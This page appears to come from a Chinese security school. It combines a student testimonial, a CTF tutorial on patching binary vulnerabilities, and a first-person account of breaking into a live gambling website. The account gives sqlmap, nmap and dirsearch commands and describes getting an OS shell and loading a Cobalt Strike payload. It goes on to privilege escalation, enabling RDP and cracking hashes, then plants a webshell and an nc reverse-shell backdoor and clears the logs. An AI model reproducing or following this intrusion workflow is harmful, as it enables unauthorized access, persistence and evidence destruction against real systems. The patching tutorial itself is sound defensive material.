直到高考毕业后我发现,十个人填志愿七个选计算机专业,就算第一年不是第二年也会想方设法转去计院,而现在的计算机行业也越来越难找工作,想着计算机市场后面肯定会饱和,又了解到网安专业缺人的现状与高待遇,我个人认为网安今后肯定是个非常好的发展方向,于是想系统学习网安这块,自己也尝试去找过一些大佬推荐的学习路线学习,但是大佬们列出的学习路线也是各不相同,不知道哪条适合自己,自己的自学能力又远不如tk教主那些大佬。
很偶然的机会,在B站看到了蚁景的培训课程,为了看这个课程靠不靠谱,我几乎翻完了蚁景B站账号的所有发言记录和网安实验室与腾讯课堂的评论区,又听了胖白老师的公开课,发现公开课内容很足,老师讲课也幽默风趣,然后就咨询了班主任,了解到学习周期不长、在线直播上课,还有学员间的SRC经验分享,学费也不算很贵,所以就报名了。
2
高考完第二天,我就报名了蚁景的《Web安全0基础到精通》的课程,但开课那几天刚好去了上海,落下了一些课,后来为了赶上进度,经常学到半夜,遇到不懂的问题,也经常半夜请教老师,这也是我报名这次课最大的收获之一,几个老师都非常耐心,能学到非常多东西,而且他们还都是dalao,想象一下,曾经遥不可及的那些人,现在你可以随便打扰,这大概就是我的感受。
课程学到快一半的时候,我就开始尝试用老师教授的知识去各大SRC平台挖洞,开始挖洞总是不会很顺利的,一堆没有通过的漏洞。
但后面,尝试了多次之后,效果也是很明显的,下面是我第一次通过的一个1K的漏洞,通过时的喜悦是不言而喻的。后面陆陆续续也挖到了些大大小小的漏洞,目前我在8月BILISRC排名第一,全年排名十二。
当然,我只是介绍我自己的入门之路,我深知还有很多大佬比我厉害得多得多得多,越学到后面就发现自己的知识储备太少了,还需要沉下心来不断的充电学习,但是学习的方向很明确了,也算是双脚踏进了网安之门。
3
课堂上的学习能让我们了解新的知识,老师给我们指引方向,但如果想要更快的进步,更多的需要课后的练习,自己日复一日的积累。没有哪个行业是容易的,网安也是如此。尽管Web安全的课程结束了,但我依然坚持拓展,学习的过程是繁琐和痛苦的,但只要肯用心学习,能静下心,结果总会是美好的。感谢曾经2个多月前自己的选择,让我更明确网安的学习方向和坚定选择网安的决心。
Pwn之简单patch
亲爱的,关注我吧
文章共计1389个词
图片xue微有点多
注意流量哦
预计阅读7分钟
来和我一起阅读吧
≈≈≈≈≈≈≈≈≈≈≈≈≈≈≈
1 引言
在攻防的时候不仅仅需要break,还需要fix将漏洞patch上。
2 工具
这里我使用的是keypatch这个ida脚本
下载地址:https://github.com/keystone-engine/keypatch/blob/master/keypatch.py
3 栈溢出的patch
漏洞原理
由于输入函数的输入长度超过了局部变量所开辟的空间,因此使得输入能够覆盖到返回地址
patch
简单了解原理之后,我们可以知道,栈溢出起始就是输入的长度过大,那么我们将输入长度修改到局部变量开辟空间的范围内即可
例子
32为情况下
我们可以看到,buf距离ebp(栈底)距离0x28,但是输入却能够输入0x100,很明显的栈溢出漏洞
可以看到这里参数为0x100,因为32位程序是通过栈传参的。
再装好keypatch之后,会在Edit选项栏中出现keypatch的选项,接着选中参数0x100,点击patch
将长度改成小于0x28即可,这里需要注意输入长度要为16进制。这里输入输入3个nop指令是因为这条指令本身Size为5,然后push 0x20为2,因此需要填充三个nop与原本的Size一致。
修改完毕后,保存即可
64位情况下
我们知道64位下是通过寄存器传参数的,因此我们再找长度的参数时,找到相应的寄存器即可
例如read函数的长度参数是通过rdx(edx)传入的,找到相应的寄存器按照上面方法修改即可。
4 格式化字符串的patch
漏洞原理
格式化字符串的漏洞是因为,程序中存在着格式化字符串输出函数,典型的printf,但是printf,只有格式化字符串参数,而没有后续的参数一,参数二,并且格式化字符串参数由我们所控制,从而导致了任意地址读写的漏洞触发。
例子
题目中存在着典型的格式化字符串漏洞,那么修改漏洞有几种方法,例如将printf函数修改为puts函数或者添加%s的参数。
方法一
若程序中即存在printf函数,又存在puts函数,那么我们可以将printf函数修改为puts函数
我们找到puts函数的plt表地址,因为puts函数也是带一个参数,并且puts函数与printf函数的plt表地址长度一致,因此直接修改不会造成程序down掉
修改成puts函数的地址
修改成功后的效果,但是puts函数与printf函数还是有一点点区别的,因为puts函数是自动在输出的字符串尾部加入一个回车符,在有些比赛的check脚本中是通过比较两次输入与输出是否全等,就会导致这种patch方法不能过关。
方法二
加入一个%s参数
可以看到除了传递格式化字符串参数以为,程序还存在mov eax,0,我们可以利用该指令修改,但是想要修改为%s还有一个问题,程序中不存在%s这个字符,就需要我们手动添加进去
我们可以在.eh_frame这个段中填入%s这个字符串,这个段中的信息不会影响程序的正常运行。
记住填入的地址0x400c01
mov edi, offset 0x400c01;
mov rsi,offset format;
完成参数修改
修改完成
堆之uaf漏洞
堆中较为常见的漏洞use after free
漏洞原理
由于堆块释放后没有给指针置空,使得被释放的堆块能够被修改或者重复使用,导致漏洞
例子
free完之后没有将指针置空,很明显的uaf漏洞,想要修补uaf漏洞,则将free之后的指针置空即可
可以看到在调用完free之后,没有多少空间可以写下新的汇编代码,因此需要与上一个方法一致,跳转到.eh_frame段上
将call free指令修改为跳转指令,在.eh_frame段上写汇编代码
call 0x900; #调用free函数
mov eax, [rbp-0xc]; #取出下标值
cdqe;
lea rdx, ds:0[rax*8];
lea rax, qword ptr [heap];
mov r8,0; #段地址不能直接赋予立即数
mov [rdx+rax],r8;
jmp 0xD56;
patch效果
5 总结
对于栈溢出来说,patch比较简单,只需要修改输入长度即可
对于格式化字符串漏洞来说,若有puts函数则将printf函数修改为puts函数,若没有则在.eh_frame段上创造%s
对于堆的uaf来说,漏洞patch思路很简单,只需要将指针置空即可,但是需要了解汇编代码。
6 参考文章
https://xz.aliyun.com/t/58687 相关实验--https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182014103116591300001&pk_campaign=heetian-wemedia
PWN是CTF竞赛中的主要题型之一,主要考查参赛选手的逆向分析、漏洞挖掘以及Exploit编写能力。通过由浅入深的方式,一步一步讲解栈溢出攻击原理与实践,同时详细介绍了Linux下GDB调试器的基本使用方法。
某菠菜网站渗透实战
文章共计1769个词
预计阅读7分钟
来和我一起阅读吧
≈≈≈≈≈≈≈≈≈≈≈≈≈≈≈≈≈≈≈≈≈≈≈
1前言
最近听说用某棋牌产品建的站存在SQL注入,刚好别人发来一个
渗透惯用套路一把梭
信息收集 -> 漏洞探测/利用 -> 提权/权限维持 -> 清理痕迹
2 信息收集
浏览器访问主页初步发现
系统:Windows server中间件 IIS7.5语言:ASPX
端口扫描
nmap -sV -T4 -p- 11x.xx.xxx.xx
开放的端口真不少其中web服务的有几个:80(当前主页)、81、82、88、4700181:是这个棋牌站的后台82:也是个后台,不知道是什么系统的后台,有验证码88/47001:访问失败
1433:数据库 mssql
还开了 139、445 但是被过滤了,不知道是不是有防火墙,后面再看
敏感目录扫描
先用 Dirsearch 过一遍,前面搜集到网站语言是 aspx,加上 -e 指定语言
python dirsearch.py -u http://11x.xx.xxx.xx -e aspx
再用 7kbscan 过一遍,毕竟这里面收集的都是国人常用的字典
/m/ 是用户注册页面,可能有用,先记着
/test.html是调起微信的入口,没啥用,可能是在手机端引导受害者聊天的吧
查IP
北京某个运营商的服务器,菠菜在国内服务器建站挺大胆的
信息整理
估计就是个人建的小站,不去展开收集更过的东西了,免得打偏浪费时间
3 漏洞探测
重点先放在前面找到的 81 端口,也就是网站的后台管理页面
没有验证码,用户名 / 密码随便写个 admin / admin,抓包
用户名加了个引号发送请求直接返回报错了,不出意外应该会有报错注入或者盲注啥的
兵分两路
一路把这个数据包保存到本地 qipai.txt,用 sqlmap 去扫,前面已经知道是 mssql 数据库,加上 --dbms 参数指定数据库类型节约时间
python sqlmap.py -r qipai.txt --dbms "Microsoft SQL Server" --dbs
另一路,把数据包发送到 intruder 模块去爆破密码,尝试了在浏览器随便输入用户名,提示 "用户名不存在",输入 admin 的时候提示 "用户名或密码错误",说明 admin 账户是存在的,只爆破密码就行
爆出密码 888999,弱口令,永远滴神!
成功登录后台
只有 69 个注册用户,剩下的全是机器人,这 69 个用户冲了 143 万?玩棋牌的都这么有钱吗,我欢乐斗地主都舍不得冲 6 块首充
赌博沾不得呀,这个老哥一天输了 2800
在后台翻了半天没找到上传点,先放着
回到另一路 sqlmap 看看,确定存在注入,已经在慢慢跑库名了
跑出 16 个库,根据名字猜 RYPlatformManagerDB 库可能存着管理员的相关信息
跑表名
python sqlmap.py -r qipai.txt --tables -D RYPlatformManagerDB
翻了半天就找到一个管理员的账号密码,就是前面 bp 爆破出来的那个,还有一些用户的信息,没啥更有价值的
python sqlmap.py -r qipai.txt --is-dba
是 DBA 权限,尝试拿 shell,mssql 数据库直接用 sqlmap 爆破路径就行了
python sqlmap.py -r qipai.txt --os-shell
用的盲注,时间较慢,经过漫长的等待终于成功拿 shell,渗透呐,表面上是个技术活,实际上是个体力活
当前用户权限很小,只是个 mssql 数据库权限
Systeminfo 查看一下系统信息,可以看到系统是 64 位的 Windows server 2008
Cobaltstrike 生成攻击载荷,再目标机器上用 powershell 加载,目标机器成功上线
net user 查看用户
tasklist 查看进程,应该没有装杀软
net start 查看已开启的服务,可以看到防火墙是开启的,所以前面 nmap 扫描 445 等端口被过滤
关闭防火墙,额还没提权
4 提权/维权
前面得知这个机器是 windows server 2008,尝试用土豆提权(MS16-075)
执行后稍等了一会儿,比较幸运,这个机器没打补丁,一次就提权成功,拿到 system 权限,开始为所欲为
进入文件管理,能看到前面信息收集时的 test.html 文件
netstat -ano 看一下端口开放情况,3389 没有开
手动开启一下
可以访问远程桌面了
cobaltstrike 操作我不是很熟练,还是用 metasploite 吧,通过 cs 上传一个 msf 生成的马,msf 开启监听
注:cs 可以直接派生 shell 给 msf,但是当时我尝试的老半天 msf 一直没有返回 session,所以才无奈先手动上传一个 msf 的马曲线救国
msf 开启监听
在 cs 上运行上传的马
msf 成功拿到 shell,是继承的 system 权限
查看密码哈希,不能获取,因为msf的这个马是32位的,系统是64位的
ps 查看进程,在进程中找一个以 system 权限运行的 64 位的程序,迁移进程后再获取哈希
到在线破解哈希的网站查一下 administrator 的密码,密码不算复杂,几秒钟就查到了
成功登录远程桌面
留两个后门,一个webshell,一个开机自启的nc用来反弹shell
5 清理痕迹/撤退
meterpreter 的 clearv 命令一键清除
或者手动删除 Windows 日志
6 总结
7 实验推荐--https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182015011915533100001&pk_campaign=heetian-wemedia
通过本实验的学习,你能够了解sqlmap,掌握sqlmap的常用命令,学会使用sqlmap辅助手工完成注入。
8 声明
本文仅限于技术讨论与分享,严禁用于非法途径。若读者因此作出任何危害网络安全行为后果自负,与蚁景科技及原作者无关。
第2页 第3页 第4页 第5页 第6页 第7页 第8页 第9页 第10页 第11页 第12页 第13页 第14页 第15页 第16页 第17页 第18页 第19页 第20页 第21页 第22页 第23页 第24页 第25页 第26页 第27页 第28页 第29页 第30页 第31页 第32页 第33页 第34页 第35页 第36页 第37页 第38页 第39页 第40页 第41页 第42页 第43页 第44页 第45页 第46页 第47页 第48页 第49页 第50页 第51页 第52页 第53页 第54页 第55页 第56页 第57页 第58页 第59页 第60页 第61页 第62页 第63页 第64页 第65页 第66页 第67页 第68页 第69页 第70页 第71页 第72页 第73页 第74页 第75页 第76页 第77页 第78页 第79页 第80页 第81页 第82页 第83页 第84页 第85页 第86页 第87页 第88页 第89页 第90页 第91页 第92页 第93页 第94页 第95页 第96页 第97页 第98页 第99页 第100页 第101页 第102页 第103页 第104页 第105页 第106页 第107页 第108页 第109页 第110页 第111页 第112页 第113页 第114页 第115页 第116页 第117页 第118页 第119页 第120页 第121页 第122页 第123页 第124页 第125页 第126页 第127页 第128页 第129页 第130页 第131页 第132页 第133页 第134页 第135页 第136页 第137页 第138页 第139页 第140页 第141页 第142页 第143页 第144页 第145页 第146页 第147页 第148页 第149页 第150页 第151页 第152页 第153页 第154页 第155页 第156页 第157页 第158页 第159页 第160页 第161页 第162页 第163页 第164页 第165页 第166页 第167页 第168页 第169页 第170页 第171页 第172页 第173页 第174页 第175页 第176页 第177页 第178页 第179页 第180页 第181页 第182页 第183页 第184页 第185页 第186页 第187页 第188页 第189页 第190页 第191页 第192页 第193页 第194页 第195页 第196页 第197页 第198页 第199页 第200页 第201页 第202页 第203页 第204页 第205页 第206页 第207页
蚁景网安学院火热招生中,限时领取大额优惠券,快来抢购吧~
扫码咨询客服了解招生最新内容和活动

